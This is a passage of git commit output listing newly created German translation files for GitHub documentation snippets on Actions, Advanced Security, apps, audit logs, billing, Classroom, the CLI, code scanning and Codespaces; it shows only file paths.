 create mode 100644 translations/de-DE/data/reusables/actions/jobs/section-choosing-the-runner-for-a-job.md
 create mode 100644 translations/de-DE/data/reusables/actions/jobs/section-defining-outputs-for-jobs.md
 create mode 100644 translations/de-DE/data/reusables/actions/jobs/section-running-jobs-in-a-container-credentials.md
 create mode 100644 translations/de-DE/data/reusables/actions/jobs/section-running-jobs-in-a-container-env.md
 create mode 100644 translations/de-DE/data/reusables/actions/jobs/section-running-jobs-in-a-container-image.md
 create mode 100644 translations/de-DE/data/reusables/actions/jobs/section-running-jobs-in-a-container-options.md
 create mode 100644 translations/de-DE/data/reusables/actions/jobs/section-running-jobs-in-a-container-ports.md
 create mode 100644 translations/de-DE/data/reusables/actions/jobs/section-running-jobs-in-a-container-volumes.md
 create mode 100644 translations/de-DE/data/reusables/actions/jobs/section-running-jobs-in-a-container.md
 create mode 100644 translations/de-DE/data/reusables/actions/jobs/section-using-a-build-matrix-for-your-jobs-failfast.md
 create mode 100644 translations/de-DE/data/reusables/actions/jobs/section-using-a-build-matrix-for-your-jobs-max-parallel.md
 create mode 100644 translations/de-DE/data/reusables/actions/jobs/section-using-concurrency-jobs.md
 create mode 100644 translations/de-DE/data/reusables/actions/jobs/section-using-concurrency.md
 create mode 100644 translations/de-DE/data/reusables/actions/jobs/section-using-conditions-to-control-job-execution.md
 create mode 100644 translations/de-DE/data/reusables/actions/jobs/section-using-environments-for-jobs.md
 create mode 100644 translations/de-DE/data/reusables/actions/jobs/section-using-jobs-in-a-workflow-id.md
 create mode 100644 translations/de-DE/data/reusables/actions/jobs/section-using-jobs-in-a-workflow-name.md
 create mode 100644 translations/de-DE/data/reusables/actions/jobs/section-using-jobs-in-a-workflow-needs.md
 create mode 100644 translations/de-DE/data/reusables/actions/jobs/section-using-jobs-in-a-workflow.md
 create mode 100644 translations/de-DE/data/reusables/actions/jobs/setting-default-values-for-jobs-defaults-job-run.md
 create mode 100644 translations/de-DE/data/reusables/actions/jobs/setting-default-values-for-jobs-defaults-job.md
 create mode 100644 translations/de-DE/data/reusables/actions/jobs/setting-default-values-for-jobs-defaults-run.md
 create mode 100644 translations/de-DE/data/reusables/actions/jobs/setting-default-values-for-jobs-defaults.md
 create mode 100644 translations/de-DE/data/reusables/actions/jobs/single-dimension-matrix.md
 create mode 100644 translations/de-DE/data/reusables/actions/jobs/using-matrix-strategy.md
 create mode 100644 translations/de-DE/data/reusables/actions/learn-more-about-yaml.md
 create mode 100644 translations/de-DE/data/reusables/actions/learning-actions.md
 create mode 100644 translations/de-DE/data/reusables/actions/macos-runner-preview.md
 create mode 100644 translations/de-DE/data/reusables/actions/make-workflow-file.md
 create mode 100644 translations/de-DE/data/reusables/actions/matrix-variable-example.md
 create mode 100644 translations/de-DE/data/reusables/actions/message-annotation-explanation.md
 create mode 100644 translations/de-DE/data/reusables/actions/message-parameters.md
 create mode 100644 translations/de-DE/data/reusables/actions/migrating-enterprise.md
 create mode 100644 translations/de-DE/data/reusables/actions/minimum-hardware.md
 create mode 100644 translations/de-DE/data/reusables/actions/more-resources-for-ghes.md
 create mode 100644 translations/de-DE/data/reusables/actions/moving-a-runner-to-a-group.md
 create mode 100644 translations/de-DE/data/reusables/actions/name-environment.md
 create mode 100644 translations/de-DE/data/reusables/actions/new-environment.md
 create mode 100644 translations/de-DE/data/reusables/actions/note-understanding-example.md
 create mode 100644 translations/de-DE/data/reusables/actions/oidc-link-to-intro.md
 create mode 100644 translations/de-DE/data/reusables/actions/oidc-permissions-token.md
 create mode 100644 translations/de-DE/data/reusables/actions/oidc-security-notice.md
 create mode 100644 translations/de-DE/data/reusables/actions/oidc-updating-workflow-overview.md
 create mode 100644 translations/de-DE/data/reusables/actions/on-multiple-example.md
 create mode 100644 translations/de-DE/data/reusables/actions/on-single-example.md
 create mode 100644 translations/de-DE/data/reusables/actions/output-limitations.md
 create mode 100644 translations/de-DE/data/reusables/actions/outside-collaborators-internal-actions.md
 create mode 100644 translations/de-DE/data/reusables/actions/partial-reruns-with-reusable.md
 create mode 100644 translations/de-DE/data/reusables/actions/pass-inputs-to-reusable-workflows.md
 create mode 100644 translations/de-DE/data/reusables/actions/permissions-statement-environment.md
 create mode 100644 translations/de-DE/data/reusables/actions/permissions-statement-secrets-api.md
 create mode 100644 translations/de-DE/data/reusables/actions/permissions-statement-secrets-environment.md
 create mode 100644 translations/de-DE/data/reusables/actions/permissions-statement-secrets-organization.md
 create mode 100644 translations/de-DE/data/reusables/actions/permissions-statement-secrets-repository.md
 create mode 100644 translations/de-DE/data/reusables/actions/permissions-table-entry.md
 create mode 100644 translations/de-DE/data/reusables/actions/policy-label-for-select-actions-workflows.md
 create mode 100644 translations/de-DE/data/reusables/actions/postgres-environment-variables.md
 create mode 100644 translations/de-DE/data/reusables/actions/postgres-label-description.md
 create mode 100644 translations/de-DE/data/reusables/actions/private-repository-forks-configure.md
 create mode 100644 translations/de-DE/data/reusables/actions/private-repository-forks-options.md
 create mode 100644 translations/de-DE/data/reusables/actions/private-repository-forks-overview.md
 create mode 100644 translations/de-DE/data/reusables/actions/proxy-considerations.md
 create mode 100644 translations/de-DE/data/reusables/actions/publish-to-maven-workflow-step.md
 create mode 100644 translations/de-DE/data/reusables/actions/publish-to-packages-workflow-step.md
 create mode 100644 translations/de-DE/data/reusables/actions/publishing-java-packages-intro.md
 create mode 100644 translations/de-DE/data/reusables/actions/pull-request-table-entry.md
 create mode 100644 translations/de-DE/data/reusables/actions/pure-javascript.md
 create mode 100644 translations/de-DE/data/reusables/actions/push-table-entry.md
 create mode 100644 translations/de-DE/data/reusables/actions/redis-environment-variables.md
 create mode 100644 translations/de-DE/data/reusables/actions/redis-label-description.md
 create mode 100644 translations/de-DE/data/reusables/actions/ref-description.md
 create mode 100644 translations/de-DE/data/reusables/actions/ref_name-description.md
 create mode 100644 translations/de-DE/data/reusables/actions/ref_protected-description.md
 create mode 100644 translations/de-DE/data/reusables/actions/ref_type-description.md
 create mode 100644 translations/de-DE/data/reusables/actions/registry-credentials.md
 create mode 100644 translations/de-DE/data/reusables/actions/release-trigger-workflow.md
 create mode 100644 translations/de-DE/data/reusables/actions/removing-a-runner-group.md
 create mode 100644 translations/de-DE/data/reusables/actions/reusable-workflow-artifacts.md
 create mode 100644 translations/de-DE/data/reusables/actions/reusable-workflow-calling-syntax.md
 create mode 100644 translations/de-DE/data/reusables/actions/reusable-workflows-ghes-beta.md
 create mode 100644 translations/de-DE/data/reusables/actions/reusable-workflows.md
 create mode 100644 translations/de-DE/data/reusables/actions/run_id_description.md
 create mode 100644 translations/de-DE/data/reusables/actions/run_number_description.md
 create mode 100644 translations/de-DE/data/reusables/actions/runner-app-open-source.md
 create mode 100644 translations/de-DE/data/reusables/actions/runner-arch-description.md
 create mode 100644 translations/de-DE/data/reusables/actions/runner-debug-description.md
 create mode 100644 translations/de-DE/data/reusables/actions/runner-group-assign-policy-org.md
 create mode 100644 translations/de-DE/data/reusables/actions/runner-group-assign-policy-repo.md
 create mode 100644 translations/de-DE/data/reusables/actions/runner-group-assign-policy-workflow.md
 create mode 100644 translations/de-DE/data/reusables/actions/runner-group-enterprise-overview.md
 create mode 100644 translations/de-DE/data/reusables/actions/runner-groups-add-to-enterprise-first-steps.md
 create mode 100644 translations/de-DE/data/reusables/actions/runner-groups-navigate-to-repo-org-enterprise.md
 create mode 100644 translations/de-DE/data/reusables/actions/runner-label-settings.md
 create mode 100644 translations/de-DE/data/reusables/actions/runner-name-description.md
 create mode 100644 translations/de-DE/data/reusables/actions/runner-os-description.md
 create mode 100644 translations/de-DE/data/reusables/actions/runner-temp-directory-description.md
 create mode 100644 translations/de-DE/data/reusables/actions/runner-tool-cache-description.md
 create mode 100644 translations/de-DE/data/reusables/actions/runner-workflow-continuity.md
 create mode 100644 translations/de-DE/data/reusables/actions/schedule-delay.md
 create mode 100644 translations/de-DE/data/reusables/actions/scheduled-workflows-disabled.md
 create mode 100644 translations/de-DE/data/reusables/actions/secrets-org-level-overview.md
 create mode 100644 translations/de-DE/data/reusables/actions/secrets-redaction-warning.md
 create mode 100644 translations/de-DE/data/reusables/actions/secrets-table-entry.md
 create mode 100644 translations/de-DE/data/reusables/actions/section-using-unique-names-for-runner-groups.md
 create mode 100644 translations/de-DE/data/reusables/actions/self-hosted-runner-add-to-enterprise.md
 create mode 100644 translations/de-DE/data/reusables/actions/self-hosted-runner-architecture.md
 create mode 100644 translations/de-DE/data/reusables/actions/self-hosted-runner-auto-removal.md
 create mode 100644 translations/de-DE/data/reusables/actions/self-hosted-runner-check-installation-success.md
 create mode 100644 translations/de-DE/data/reusables/actions/self-hosted-runner-configure.md
 create mode 100644 translations/de-DE/data/reusables/actions/self-hosted-runner-description.md
 create mode 100644 translations/de-DE/data/reusables/actions/self-hosted-runner-labels-runs-on.md
 create mode 100644 translations/de-DE/data/reusables/actions/self-hosted-runner-labels-view-assigned-labels.md
 create mode 100644 translations/de-DE/data/reusables/actions/self-hosted-runner-list-group.md
 create mode 100644 translations/de-DE/data/reusables/actions/self-hosted-runner-list.md
 create mode 100644 translations/de-DE/data/reusables/actions/self-hosted-runner-locations.md
 create mode 100644 translations/de-DE/data/reusables/actions/self-hosted-runner-management-permissions-required.md
 create mode 100644 translations/de-DE/data/reusables/actions/self-hosted-runner-navigate-repo-and-org.md
 create mode 100644 translations/de-DE/data/reusables/actions/self-hosted-runner-navigate-to-org-enterprise.md
 create mode 100644 translations/de-DE/data/reusables/actions/self-hosted-runner-navigate-to-repo-org-enterprise.md
 create mode 100644 translations/de-DE/data/reusables/actions/self-hosted-runner-networking-to-dotcom.md
 create mode 100644 translations/de-DE/data/reusables/actions/self-hosted-runner-ports-protocols.md
 create mode 100644 translations/de-DE/data/reusables/actions/self-hosted-runner-public-repo-access.md
 create mode 100644 translations/de-DE/data/reusables/actions/self-hosted-runner-removal-impact.md
 create mode 100644 translations/de-DE/data/reusables/actions/self-hosted-runner-removing-a-runner-updated.md
 create mode 100644 translations/de-DE/data/reusables/actions/self-hosted-runner-removing-a-runner.md
 create mode 100644 translations/de-DE/data/reusables/actions/self-hosted-runner-reqs-docker.md
 create mode 100644 translations/de-DE/data/reusables/actions/self-hosted-runner-reusing.md
 create mode 100644 translations/de-DE/data/reusables/actions/self-hosted-runner-security-admonition.md
 create mode 100644 translations/de-DE/data/reusables/actions/self-hosted-runner-security.md
 create mode 100644 translations/de-DE/data/reusables/actions/self-hosted-runners-prerequisites.md
 create mode 100644 translations/de-DE/data/reusables/actions/self-hosted-runners-software.md
 create mode 100644 translations/de-DE/data/reusables/actions/service-container-add-script.md
 create mode 100644 translations/de-DE/data/reusables/actions/service-container-host-runner.md
 create mode 100644 translations/de-DE/data/reusables/actions/service-container-host.md
 create mode 100644 translations/de-DE/data/reusables/actions/service-container-localhost.md
 create mode 100644 translations/de-DE/data/reusables/actions/service-container-prereqs.md
 create mode 100644 translations/de-DE/data/reusables/actions/service-template-steps.md
 create mode 100644 translations/de-DE/data/reusables/actions/settings-sidebar-actions-runner-groups-selection.md
 create mode 100644 translations/de-DE/data/reusables/actions/settings-sidebar-actions-runner-selection.md
 create mode 100644 translations/de-DE/data/reusables/actions/settings-sidebar-actions-runners-updated.md
 create mode 100644 translations/de-DE/data/reusables/actions/settings-ui/settings-actions-general.md
 create mode 100644 translations/de-DE/data/reusables/actions/settings-ui/settings-actions-pages-custom-workflow.md
 create mode 100644 translations/de-DE/data/reusables/actions/settings-ui/settings-actions-runner-groups.md
 create mode 100644 translations/de-DE/data/reusables/actions/settings-ui/settings-actions-runners.md
 create mode 100644 translations/de-DE/data/reusables/actions/setup-node-intro.md
 create mode 100644 translations/de-DE/data/reusables/actions/setup-node-table-entry.md
 create mode 100644 translations/de-DE/data/reusables/actions/sidebar-environment.md
 create mode 100644 translations/de-DE/data/reusables/actions/sidebar-secret.md
 create mode 100644 translations/de-DE/data/reusables/actions/starter-workflow-categories.md
 create mode 100644 translations/de-DE/data/reusables/actions/supported-github-runners.md
 create mode 100644 translations/de-DE/data/reusables/actions/upgrade-runners-before-upgrade-ghes.md
 create mode 100644 translations/de-DE/data/reusables/actions/usage-api-requests.md
 create mode 100644 translations/de-DE/data/reusables/actions/usage-matrix-limits.md
 create mode 100644 translations/de-DE/data/reusables/actions/usage-workflow-queue-limits.md
 create mode 100644 translations/de-DE/data/reusables/actions/usage-workflow-run-time.md
 create mode 100644 translations/de-DE/data/reusables/actions/use-request-body-api.md
 create mode 100644 translations/de-DE/data/reusables/actions/using-context-or-environment-variables.md
 create mode 100644 translations/de-DE/data/reusables/actions/workflow-basic-example-and-explanation.md
 create mode 100644 translations/de-DE/data/reusables/actions/workflow-dispatch-inputs.md
 create mode 100644 translations/de-DE/data/reusables/actions/workflow-dispatch-table-entry.md
 create mode 100644 translations/de-DE/data/reusables/actions/workflow-organization-templates.md
 create mode 100644 translations/de-DE/data/reusables/actions/workflow-permissions-intro.md
 create mode 100644 translations/de-DE/data/reusables/actions/workflow-permissions-modifying.md
 create mode 100644 translations/de-DE/data/reusables/actions/workflow-pr-approval-permissions-intro.md
 create mode 100644 translations/de-DE/data/reusables/actions/workflow-run-approve-link.md
 create mode 100644 translations/de-DE/data/reusables/actions/workflow-run-approve-public-fork.md
 create mode 100644 translations/de-DE/data/reusables/actions/workflow-runs-dependabot-note.md
 create mode 100644 translations/de-DE/data/reusables/actions/workflow-template-overview.md
 create mode 100644 translations/de-DE/data/reusables/actions/workflows-from-public-fork-setting.md
 create mode 100644 translations/de-DE/data/reusables/actions/workflows/approve-workflow-runs.md
 create mode 100644 translations/de-DE/data/reusables/actions/workflows/section-run-on-specific-branches-or-tags.md
 create mode 100644 translations/de-DE/data/reusables/actions/workflows/section-specifying-branches.md
 create mode 100644 translations/de-DE/data/reusables/actions/workflows/section-triggering-a-workflow-branches.md
 create mode 100644 translations/de-DE/data/reusables/actions/workflows/section-triggering-a-workflow-paths.md
 create mode 100644 translations/de-DE/data/reusables/actions/workflows/section-triggering-a-workflow-schedule.md
 create mode 100644 translations/de-DE/data/reusables/actions/workflows/section-triggering-a-workflow-types.md
 create mode 100644 translations/de-DE/data/reusables/actions/workflows/section-triggering-a-workflow.md
 create mode 100644 translations/de-DE/data/reusables/advanced-security/about-committer-numbers-ghec-ghes.md
 create mode 100644 translations/de-DE/data/reusables/advanced-security/about-ghas-license-seats.md
 create mode 100644 translations/de-DE/data/reusables/advanced-security/about-ghas-organization-policy.md
 create mode 100644 translations/de-DE/data/reusables/advanced-security/check-for-ghas-license.md
 create mode 100644 translations/de-DE/data/reusables/advanced-security/custom-link-beta.md
 create mode 100644 translations/de-DE/data/reusables/advanced-security/getting-the-most-from-your-license.md
 create mode 100644 translations/de-DE/data/reusables/advanced-security/ghas-helps-developers.md
 create mode 100644 translations/de-DE/data/reusables/advanced-security/ghas-must-be-enabled.md
 create mode 100644 translations/de-DE/data/reusables/advanced-security/license-overview.md
 create mode 100644 translations/de-DE/data/reusables/advanced-security/managing-license-usage-ghec-ghes.md
 create mode 100644 translations/de-DE/data/reusables/advanced-security/more-info-ghas.md
 create mode 100644 translations/de-DE/data/reusables/advanced-security/more-information-about-enforcement-policy.md
 create mode 100644 translations/de-DE/data/reusables/advanced-security/note-org-enable-uses-seats.md
 create mode 100644 translations/de-DE/data/reusables/advanced-security/secret-scanning-add-custom-pattern-details.md
 create mode 100644 translations/de-DE/data/reusables/advanced-security/secret-scanning-create-custom-pattern.md
 create mode 100644 translations/de-DE/data/reusables/advanced-security/secret-scanning-dry-run-results.md
 create mode 100644 translations/de-DE/data/reusables/advanced-security/secret-scanning-dry-run-select-enterprise-repos.md
 create mode 100644 translations/de-DE/data/reusables/advanced-security/secret-scanning-dry-run-select-repos.md
 create mode 100644 translations/de-DE/data/reusables/advanced-security/secret-scanning-new-custom-pattern.md
 create mode 100644 translations/de-DE/data/reusables/advanced-security/secret-scanning-push-protection-org.md
 create mode 100644 translations/de-DE/data/reusables/advanced-security/secret-scanning-push-protection-repo.md
 create mode 100644 translations/de-DE/data/reusables/advanced-security/security-feature-availability.md
 create mode 100644 translations/de-DE/data/reusables/advanced-security/starter-workflow-overview.md
 create mode 100644 translations/de-DE/data/reusables/advanced-security/starter-workflows-beta.md
 create mode 100644 translations/de-DE/data/reusables/advisory-database/beta-malware-advisories.md
 create mode 100644 translations/de-DE/data/reusables/apps/accept_new_permissions_steps.md
 create mode 100644 translations/de-DE/data/reusables/apps/app-ruby-guides.md
 create mode 100644 translations/de-DE/data/reusables/apps/app_manager_role.md
 create mode 100644 translations/de-DE/data/reusables/apps/checks-availability.md
 create mode 100644 translations/de-DE/data/reusables/apps/deletes_ssh_keys.md
 create mode 100644 translations/de-DE/data/reusables/apps/deprecating_auth_with_query_parameters.md
 create mode 100644 translations/de-DE/data/reusables/apps/expiring_user_authorization_tokens.md
 create mode 100644 translations/de-DE/data/reusables/apps/general-apps-restrictions.md
 create mode 100644 translations/de-DE/data/reusables/apps/ip-allow-list-only-apps.md
 create mode 100644 translations/de-DE/data/reusables/apps/maximum-github-apps-allowed.md
 create mode 100644 translations/de-DE/data/reusables/apps/maximum-oauth-apps-allowed.md
 create mode 100644 translations/de-DE/data/reusables/apps/oauth-app-access-restrictions.md
 create mode 100644 translations/de-DE/data/reusables/apps/oauth-apps-restrictions.md
 create mode 100644 translations/de-DE/data/reusables/apps/oauth-auth-vary-response.md
 create mode 100644 translations/de-DE/data/reusables/apps/oauth-token-limit.md
 create mode 100644 translations/de-DE/data/reusables/apps/optional_feature_activation.md
 create mode 100644 translations/de-DE/data/reusables/apps/settings-step.md
 create mode 100644 translations/de-DE/data/reusables/apps/sinatra_restart_instructions.md
 create mode 100644 translations/de-DE/data/reusables/apps/state_description.md
 create mode 100644 translations/de-DE/data/reusables/apps/undetected-pushes-to-a-forked-repository-for-check-suites.md
 create mode 100644 translations/de-DE/data/reusables/apps/user-to-server-rate-limits-ghec.md
 create mode 100644 translations/de-DE/data/reusables/apps/user-to-server-rate-limits.md
 create mode 100644 translations/de-DE/data/reusables/audit_log/audit-data-retention-tab.md
 create mode 100644 translations/de-DE/data/reusables/audit_log/audit-log-action-categories.md
 create mode 100644 translations/de-DE/data/reusables/audit_log/audit-log-api-info.md
 create mode 100644 translations/de-DE/data/reusables/audit_log/audit-log-events-workflows.md
 create mode 100644 translations/de-DE/data/reusables/audit_log/audit-log-git-events-retention.md
 create mode 100644 translations/de-DE/data/reusables/audit_log/audit-log-search-by-operation.md
 create mode 100644 translations/de-DE/data/reusables/audit_log/audit-log-search-by-repo.md
 create mode 100644 translations/de-DE/data/reusables/audit_log/audit-log-search-by-user.md
 create mode 100644 translations/de-DE/data/reusables/audit_log/audit-log-search-list-info-about-action.md
 create mode 100644 translations/de-DE/data/reusables/audit_log/audit-log-search.md
 create mode 100644 translations/de-DE/data/reusables/audit_log/audit_log_sidebar_for_org_admins.md
 create mode 100644 translations/de-DE/data/reusables/audit_log/audit_log_sidebar_for_site_admins.md
 create mode 100644 translations/de-DE/data/reusables/audit_log/audited-data-list.md
 create mode 100644 translations/de-DE/data/reusables/audit_log/export-log.md
 create mode 100644 translations/de-DE/data/reusables/audit_log/exported-git-log-keys-and-values.md
 create mode 100644 translations/de-DE/data/reusables/audit_log/exported-log-keys-and-values.md
 create mode 100644 translations/de-DE/data/reusables/audit_log/git-events-export-limited.md
 create mode 100644 translations/de-DE/data/reusables/audit_log/git-events-not-in-search-results.md
 create mode 100644 translations/de-DE/data/reusables/audit_log/keys-and-example-values.md
 create mode 100644 translations/de-DE/data/reusables/audit_log/octicon_icon.md
 create mode 100644 translations/de-DE/data/reusables/audit_log/only-three-months-displayed.md
 create mode 100644 translations/de-DE/data/reusables/audit_log/retention-periods.md
 create mode 100644 translations/de-DE/data/reusables/audit_log/streaming-check-s3-endpoint.md
 create mode 100644 translations/de-DE/data/reusables/audit_log/streaming-choose-s3.md
 create mode 100644 translations/de-DE/data/reusables/billing/about-invoices-for-enterprises.md
 create mode 100644 translations/de-DE/data/reusables/billing/billing-hosted-runners.md
 create mode 100644 translations/de-DE/data/reusables/billing/billing-standard-runners.md
 create mode 100644 translations/de-DE/data/reusables/billing/email-notifications.md
 create mode 100644 translations/de-DE/data/reusables/billing/ghes-with-no-enterprise-account.md
 create mode 100644 translations/de-DE/data/reusables/billing/license-statuses.md
 create mode 100644 translations/de-DE/data/reusables/billing/overages-billed-monthly.md
 create mode 100644 translations/de-DE/data/reusables/branches/change-default-branch.md
 create mode 100644 translations/de-DE/data/reusables/branches/default-branch-automatically-base-branch.md
 create mode 100644 translations/de-DE/data/reusables/branches/new-repo-default-branch.md
 create mode 100644 translations/de-DE/data/reusables/branches/set-default-branch.md
 create mode 100644 translations/de-DE/data/reusables/classroom/about-assignments.md
 create mode 100644 translations/de-DE/data/reusables/classroom/about-autograding.md
 create mode 100644 translations/de-DE/data/reusables/classroom/about-classrooms.md
 create mode 100644 translations/de-DE/data/reusables/classroom/about-online-ides.md
 create mode 100644 translations/de-DE/data/reusables/classroom/assignments-classroom-prerequisite.md
 create mode 100644 translations/de-DE/data/reusables/classroom/assignments-click-pencil.md
 create mode 100644 translations/de-DE/data/reusables/classroom/assignments-group-definition.md
 create mode 100644 translations/de-DE/data/reusables/classroom/assignments-guide-assign-a-deadline.md
 create mode 100644 translations/de-DE/data/reusables/classroom/assignments-guide-choose-an-online-ide.md
 create mode 100644 translations/de-DE/data/reusables/classroom/assignments-guide-choose-template-repository.md
 create mode 100644 translations/de-DE/data/reusables/classroom/assignments-guide-choose-visibility.md
 create mode 100644 translations/de-DE/data/reusables/classroom/assignments-guide-click-continue-after-basics.md
 create mode 100644 translations/de-DE/data/reusables/classroom/assignments-guide-click-continue-after-starter-code-and-feedback.md
 create mode 100644 translations/de-DE/data/reusables/classroom/assignments-guide-click-create-assignment-button.md
 create mode 100644 translations/de-DE/data/reusables/classroom/assignments-guide-create-review-pull-request.md
 create mode 100644 translations/de-DE/data/reusables/classroom/assignments-guide-create-the-assignment.md
 create mode 100644 translations/de-DE/data/reusables/classroom/assignments-guide-intro-for-environment.md
 create mode 100644 translations/de-DE/data/reusables/classroom/assignments-guide-invite-students-to-assignment.md
 create mode 100644 translations/de-DE/data/reusables/classroom/assignments-guide-prevent-changes.md
 create mode 100644 translations/de-DE/data/reusables/classroom/assignments-guide-using-autograding.md
 create mode 100644 translations/de-DE/data/reusables/classroom/assignments-individual-definition.md
 create mode 100644 translations/de-DE/data/reusables/classroom/assignments-to-prevent-submission.md
 create mode 100644 translations/de-DE/data/reusables/classroom/assignments-type-a-title.md
 create mode 100644 translations/de-DE/data/reusables/classroom/classroom-admins-link.md
 create mode 100644 translations/de-DE/data/reusables/classroom/classroom-codespaces-link.md
 create mode 100644 translations/de-DE/data/reusables/classroom/classroom-creates-group-repositories.md
 create mode 100644 translations/de-DE/data/reusables/classroom/classroom-creates-individual-repositories.md
 create mode 100644 translations/de-DE/data/reusables/classroom/classroom-enables-invitation-urls.md
 create mode 100644 translations/de-DE/data/reusables/classroom/click-assignment-in-list.md
 create mode 100644 translations/de-DE/data/reusables/classroom/click-classroom-in-list.md
 create mode 100644 translations/de-DE/data/reusables/classroom/click-settings.md
 create mode 100644 translations/de-DE/data/reusables/classroom/click-students.md
 create mode 100644 translations/de-DE/data/reusables/classroom/for-more-information-about-assignment-creation.md
 create mode 100644 translations/de-DE/data/reusables/classroom/free-limited-codespaces-for-verified-teachers-beta-note.md
 create mode 100644 translations/de-DE/data/reusables/classroom/guide-create-new-classroom.md
 create mode 100644 translations/de-DE/data/reusables/classroom/invitation-url-warning.md
 create mode 100644 translations/de-DE/data/reusables/classroom/readme-contains-button-for-online-ide.md
 create mode 100644 translations/de-DE/data/reusables/classroom/reuse-assignment-link.md
 create mode 100644 translations/de-DE/data/reusables/classroom/sign-into-github-classroom.md
 create mode 100644 translations/de-DE/data/reusables/classroom/supported-lmses.md
 create mode 100644 translations/de-DE/data/reusables/classroom/use-add-test-drop-down-to-click-grading-method.md
 create mode 100644 translations/de-DE/data/reusables/classroom/you-can-choose-a-template-repository.md
 create mode 100644 translations/de-DE/data/reusables/classroom/you-can-create-a-pull-request-for-feedback.md
 create mode 100644 translations/de-DE/data/reusables/cli/about-cli.md
 create mode 100644 translations/de-DE/data/reusables/cli/cli-extensions.md
 create mode 100644 translations/de-DE/data/reusables/cli/cli-features.md
 create mode 100644 translations/de-DE/data/reusables/cli/cli-installation.md
 create mode 100644 translations/de-DE/data/reusables/cli/cli-intro.md
 create mode 100644 translations/de-DE/data/reusables/cli/cli-learn-more.md
 create mode 100644 translations/de-DE/data/reusables/cli/filter-issues-and-pull-requests-tip.md
 create mode 100644 translations/de-DE/data/reusables/code-scanning/about-analysis-origins-link.md
 create mode 100644 translations/de-DE/data/reusables/code-scanning/about-code-scanning.md
 create mode 100644 translations/de-DE/data/reusables/code-scanning/about-codeql-analysis.md
 create mode 100644 translations/de-DE/data/reusables/code-scanning/alert-default-branch.md
 create mode 100644 translations/de-DE/data/reusables/code-scanning/alert-tracking-link.md
 create mode 100644 translations/de-DE/data/reusables/code-scanning/alerts-found-in-generated-code.md
 create mode 100644 translations/de-DE/data/reusables/code-scanning/analyze-go.md
 create mode 100644 translations/de-DE/data/reusables/code-scanning/autobuild-add-build-steps.md
 create mode 100644 translations/de-DE/data/reusables/code-scanning/autobuild-compiled-languages.md
 create mode 100644 translations/de-DE/data/reusables/code-scanning/beta-alert-tracking-in-issues.md
 create mode 100644 translations/de-DE/data/reusables/code-scanning/beta-codeql-ml-queries.md
 create mode 100644 translations/de-DE/data/reusables/code-scanning/beta-codeql-packs-cli.md
 create mode 100644 translations/de-DE/data/reusables/code-scanning/beta.md
 create mode 100644 translations/de-DE/data/reusables/code-scanning/billing.md
 create mode 100644 translations/de-DE/data/reusables/code-scanning/choose-alert-dismissal-reason.md
 create mode 100644 translations/de-DE/data/reusables/code-scanning/click-alert-in-list.md
 create mode 100644 translations/de-DE/data/reusables/code-scanning/close-alert-examples.md
 create mode 100644 translations/de-DE/data/reusables/code-scanning/codeql-cli-context-for-third-party-tools.md
 create mode 100644 translations/de-DE/data/reusables/code-scanning/codeql-context-for-actions-and-third-party-tools.md
 create mode 100644 translations/de-DE/data/reusables/code-scanning/codeql-languages-bullets.md
 create mode 100644 translations/de-DE/data/reusables/code-scanning/codeql-languages-keywords.md
 create mode 100644 translations/de-DE/data/reusables/code-scanning/codeql-query-suites-explanation.md
 create mode 100644 translations/de-DE/data/reusables/code-scanning/codeql-query-suites.md
 create mode 100644 translations/de-DE/data/reusables/code-scanning/codeql-runner-analyze-example.md
 create mode 100644 translations/de-DE/data/reusables/code-scanning/custom-configuration-file.md
 create mode 100644 translations/de-DE/data/reusables/code-scanning/deprecation-codeql-runner.md
 create mode 100644 translations/de-DE/data/reusables/code-scanning/edit-workflow.md
 create mode 100644 translations/de-DE/data/reusables/code-scanning/enabling-options.md
 create mode 100644 translations/de-DE/data/reusables/code-scanning/enterprise-enable-code-scanning-actions.md
 create mode 100644 translations/de-DE/data/reusables/code-scanning/enterprise-enable-code-scanning.md
 create mode 100644 translations/de-DE/data/reusables/code-scanning/enterprise-enable-dependency-graph.md
 create mode 100644 translations/de-DE/data/reusables/code-scanning/example-configuration-files.md
 create mode 100644 translations/de-DE/data/reusables/code-scanning/explore-alert.md
 create mode 100644 translations/de-DE/data/reusables/code-scanning/extractor-diagnostics.md
 create mode 100644 translations/de-DE/data/reusables/code-scanning/false-positive-fix-codeql.md
 create mode 100644 translations/de-DE/data/reusables/code-scanning/filter-non-default-branches.md
 create mode 100644 translations/de-DE/data/reusables/code-scanning/get-started-uploading-third-party-data.md
 create mode 100644 translations/de-DE/data/reusables/code-scanning/github-issues-integration.md
 create mode 100644 translations/de-DE/data/reusables/code-scanning/interoperable-with-tools-that-output-sarif.md
 create mode 100644 translations/de-DE/data/reusables/code-scanning/licensing-note.md
 create mode 100644 translations/de-DE/data/reusables/code-scanning/non-glibc-linux-support.md
 create mode 100644 translations/de-DE/data/reusables/code-scanning/not-available.md
 create mode 100644 translations/de-DE/data/reusables/code-scanning/run-additional-queries.md
 create mode 100644 translations/de-DE/data/reusables/code-scanning/specify-language-to-analyze.md
 create mode 100644 translations/de-DE/data/reusables/code-scanning/summary-metrics.md
 create mode 100644 translations/de-DE/data/reusables/code-scanning/upload-sarif-alert-limit.md
 create mode 100644 translations/de-DE/data/reusables/code-scanning/upload-sarif-ghas.md
 create mode 100644 translations/de-DE/data/reusables/code-scanning/what-is-codeql-cli.md
 create mode 100644 translations/de-DE/data/reusables/code-scanning/you-can-upload-third-party-analysis.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/about-changing-default-editor.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/about-changing-storage-size.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/about-configuration.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/about-port-forwarding.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/accessing-prebuild-configuration.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/changing-machine-type-in-vscode.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/click-remote-explorer-icon-vscode.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/codespace-config-order.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/codespaces-are-per-branch.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/codespaces-are-personal.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/codespaces-disabling-org-billing.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/codespaces-machine-type-availability.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/codespaces-machine-types.md
 create mode 100644 translations/de-DE/data/reusables/codespaces/codespaces-org-policies-note.md
